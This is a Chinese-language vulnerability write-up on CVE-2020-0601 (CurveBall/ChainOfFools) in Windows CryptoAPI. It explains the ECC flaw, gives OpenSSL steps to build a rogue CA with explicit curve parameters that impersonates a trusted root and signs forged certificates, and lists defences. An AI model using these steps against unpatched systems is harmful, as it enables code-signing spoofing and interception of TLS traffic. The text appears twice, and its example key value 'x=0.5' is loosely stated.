CVE-2020-0601:使用POC解释了CHAINOFFOOLS CURVEBALL攻击
字数 1160 2025-08-18 11:39:22

CVE-2020-0601 (CHAINOFFOOLS/CURVEBALL) 漏洞分析与利用教学文档

漏洞概述

CVE-2020-0601是微软Windows CryptoAPI (Crypt32.dll)中存在的证书验证漏洞,由美国国家安全局(NSA)发现并报告。该漏洞影响Windows 10、Windows Server 2016和2019版本。

漏洞本质:Windows CryptoAPI在验证椭圆曲线密码术(ECC)证书时存在缺陷,允许攻击者伪造证书链,使恶意证书看似来自受信任的根证书颁发机构(CA)。

漏洞影响

  1. 代码签名欺骗:攻击者可创建看似来自可信来源的恶意可执行文件
  2. 中间人攻击:可解密与受影响软件的TLS连接中的机密信息
  3. 证书伪造:可伪造任意域名的SSL/TLS证书

技术原理

ECC基础

在椭圆曲线密码学(ECDSA)中:

  • 私钥k是一个大整数
  • 公钥Pk是椭圆曲线上的点,通过公式Pk = k×G计算得出
  • G是曲线生成器(基点),通常是标准化的

漏洞核心

当证书中包含显式定义的椭圆曲线参数时,Windows CryptoAPI存在验证缺陷:

  1. 攻击者可选择任意生成器G',为已知公钥Pk创建对应的私钥x
  2. 通过构造G' = (1/x)×Pk,使得x×G' = Pk成立
  3. 这样攻击者就"知道"了对应公钥Pk的私钥x

漏洞利用步骤

1. 选择目标CA证书

选择Windows信任的根CA中使用了ECC的证书,例如:

  • USERTrust ECC Certification Authority
  • 使用OpenSSL提取其公钥信息:
    openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout
    

2. 获取目标CA的公钥

从证书中提取ECC公钥点Pk的坐标:

Public-Key: (384 bit)
pub:
  04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53:
  c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c:
  d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee:
  5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d:
  97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4:
  70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d:
  32:7f:8a:34:e3:79:79

3. 构造恶意生成器

  1. 选择一个随机值x作为伪造的私钥(例如x=0.5
  2. 计算恶意生成器G' = (1/x)×Pk

4. 创建恶意CA证书

  1. 生成一个带有显式曲线参数的PEM文件模板:
    openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit
    
  2. 使用Python Crypto.IO PEM模块修改模板,注入恶意曲线参数

5. 生成恶意终端证书

  1. 生成新的ECC密钥对:
    openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem
    
  2. 创建证书签名请求(CSR):
    openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr
    
  3. 使用恶意CA签署CSR:
    openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf
    

防御措施

  1. 及时更新:安装微软2020年1月发布的安全补丁
  2. 证书监控:监控系统中是否存在包含显式曲线参数的证书
  3. 网络防护:实施严格的网络流量监控,检测异常证书使用
  4. 最小权限:限制代码执行权限,减少潜在攻击面

实际影响评估

该漏洞:

  • 需要一定的技术能力才能利用,不适合脚本小子
  • 主要威胁来自国家级攻击者
  • 不会导致像WannaCry那样的广泛勒索软件攻击
  • 最危险的应用场景是针对特定目标的高级中间人攻击

参考资源

  1. 微软安全公告
  2. Kudelski Security PoC
  3. NSA安全公告
CVE-2020-0601 (CHAINOFFOOLS/CURVEBALL) 漏洞分析与利用教学文档 漏洞概述 CVE-2020-0601是微软Windows CryptoAPI (Crypt32.dll)中存在的证书验证漏洞,由美国国家安全局(NSA)发现并报告。该漏洞影响Windows 10、Windows Server 2016和2019版本。 漏洞本质 :Windows CryptoAPI在验证椭圆曲线密码术(ECC)证书时存在缺陷,允许攻击者伪造证书链,使恶意证书看似来自受信任的根证书颁发机构(CA)。 漏洞影响 代码签名欺骗 :攻击者可创建看似来自可信来源的恶意可执行文件 中间人攻击 :可解密与受影响软件的TLS连接中的机密信息 证书伪造 :可伪造任意域名的SSL/TLS证书 技术原理 ECC基础 在椭圆曲线密码学(ECDSA)中: 私钥 k 是一个大整数 公钥 Pk 是椭圆曲线上的点,通过公式 Pk = k×G 计算得出 G 是曲线生成器(基点),通常是标准化的 漏洞核心 当证书中包含显式定义的椭圆曲线参数时,Windows CryptoAPI存在验证缺陷: 攻击者可选择任意生成器 G' ,为已知公钥 Pk 创建对应的私钥 x 通过构造 G' = (1/x)×Pk ,使得 x×G' = Pk 成立 这样攻击者就"知道"了对应公钥 Pk 的私钥 x 漏洞利用步骤 1. 选择目标CA证书 选择Windows信任的根CA中使用了ECC的证书,例如: USERTrust ECC Certification Authority 使用OpenSSL提取其公钥信息: 2. 获取目标CA的公钥 从证书中提取ECC公钥点 Pk 的坐标: 3. 构造恶意生成器 选择一个随机值 x 作为伪造的私钥(例如 x=0.5 ) 计算恶意生成器 G' = (1/x)×Pk 4. 创建恶意CA证书 生成一个带有显式曲线参数的PEM文件模板: 使用Python Crypto.IO PEM模块修改模板,注入恶意曲线参数 5. 生成恶意终端证书 生成新的ECC密钥对: 创建证书签名请求(CSR): 使用恶意CA签署CSR: 防御措施 及时更新 :安装微软2020年1月发布的安全补丁 证书监控 :监控系统中是否存在包含显式曲线参数的证书 网络防护 :实施严格的网络流量监控,检测异常证书使用 最小权限 :限制代码执行权限,减少潜在攻击面 实际影响评估 该漏洞: 需要一定的技术能力才能利用,不适合脚本小子 主要威胁来自国家级攻击者 不会导致像WannaCry那样的广泛勒索软件攻击 最危险的应用场景是针对特定目标的高级中间人攻击 参考资源 微软安全公告 Kudelski Security PoC NSA安全公告